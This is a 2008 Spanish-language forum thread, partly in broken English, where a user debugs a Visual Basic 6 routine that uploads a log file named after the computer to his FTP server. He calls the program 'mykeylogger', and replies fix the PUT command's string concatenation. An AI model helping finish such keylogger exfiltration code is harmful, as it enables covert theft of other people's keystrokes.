elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Necesito su ayuda (con inet)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Necesito su ayuda (con inet)  (Leído 1,793 veces)
odesa

Desconectado Desconectado

Mensajes: 36



Ver Perfil
Necesito su ayuda (con inet)
« en: 21 Octubre 2008, 14:26 pm »

Hola amigos
Hago una bitácora, quiero subir un archivo de registro (con el nombre del equipo) a mi ftp Me escribió un código, pero tomé un error.Mi programa puede crear archivo de registro con el ordenador name.But I No se puede cargar este archivo de registro a mi ftp con el nombre de mi equipo
 error es: Runtype Miss match

código:
Private Sub Timer3_Timer()
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub

¿Dónde está mal?

Thx for help


En línea

WestOn

Desconectado Desconectado

Mensajes: 272


El testamento Maya...


Ver Perfil
Re: Necesito su ayuda (con inet)
« Respuesta #1 en: 21 Octubre 2008, 14:42 pm »

Hi odesa, check this example related with FTP http://foro.elhacker.net/programacion_vb/subir_txt_por_ftp-t231928.15.html
Look example ---> seba123neo
if you have some problem returns to write here.

un saludo / a greeting


En línea

En mi cabeza existe una barrera espacio-tiempo de 4cm³. ¿Alguien sabe como eliminarla?.
                                                                                                                                                                                                                            
odesa

Desconectado Desconectado

Mensajes: 36



Ver Perfil
Re: Necesito su ayuda (con inet)
« Respuesta #2 en: 21 Octubre 2008, 16:43 pm »

No I use this code in a logger.Not a rat!I am explain the problem in english.
My program can create log with using computername ok at aplication path!
But it can't upload this log file to my ftp ok!
For example:
Myprogram name is :mykeylogger
My computer name is:Cafeplus

In Same Folder
Mykeylogger.exe  --> Can create
Cafeplus.log      -->But Can't upload the ftp :(

When it try this I get an error "Runtime miss match"
 
And My Code is :
Private Sub Timer3_Timer()
On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub

Private Sub Timer5_Timer()
'With Inet1
Inet1.Protocol = icFTP
Inet1.URL = "http://ftp://webadress.com"
Inet1.Password = "pass"
Inet1.username = "username"
'Inet1.RequestTimeout = 40
End Sub
En línea

WestOn

Desconectado Desconectado

Mensajes: 272


El testamento Maya...


Ver Perfil
Re: Necesito su ayuda (con inet)
« Respuesta #3 en: 21 Octubre 2008, 17:25 pm »

Hi ;), the error this in the load from the file to the FTP, no?
And it does not serve the URL of above to you?!!!if can serve to you, yes yes yes!
mmm furthermore can serve to you as guide ;D, look again  :P

un saludo
En línea

En mi cabeza existe una barrera espacio-tiempo de 4cm³. ¿Alguien sabe como eliminarla?.
                                                                                                                                                                                                                            
odesa

Desconectado Desconectado

Mensajes: 36



Ver Perfil
Re: Necesito su ayuda (con inet)
« Respuesta #4 en: 21 Octubre 2008, 19:02 pm »

the other way is:
Private Sub Timer3_Timer()
'On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute  "PUT  " & App.Path + " \ " + computername + .log " & " + computername + .log "

End Sub

But I take statement error:(
What is wrong?
En línea

el_c0c0


Desconectado Desconectado

Mensajes: 307


Ver Perfil
Re: Necesito su ayuda (con inet)
« Respuesta #5 en: 21 Octubre 2008, 19:05 pm »

oh the error is evident:

Inet1.Execute  "PUT  " & App.Path + " \ " + computername + .log " & " + computername + .log "

you missed doble "

try this
Inet1.Execute  "PUT  " & App.Path & "\" & computername & ".log " &  computername & ".log "

bye
En línea

'-     coco
"Te voy a romper el orto"- Las hemorroides
odesa

Desconectado Desconectado

Mensajes: 36



Ver Perfil
Re: Necesito su ayuda (con inet)
« Respuesta #6 en: 21 Octubre 2008, 19:28 pm »

Inet1.Execute  "PUT  " & App.Path & "\" & computername & ".log " &  computername & ".log "

when I use this
not upload but no error only saving :(
why don't working :(
En línea

el_c0c0


Desconectado Desconectado

Mensajes: 307


Ver Perfil
Re: Necesito su ayuda (con inet)
« Respuesta #7 en: 21 Octubre 2008, 19:37 pm »

2 things, do computername is declared? and has some valule?
and other, do the file exists? i mean, the path app.path & "\" & computername & ".log" must be valid, check that first

bye
« Última modificación: 21 Octubre 2008, 20:11 pm por el_c0c0 » En línea

'-     coco
"Te voy a romper el orto"- Las hemorroides
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines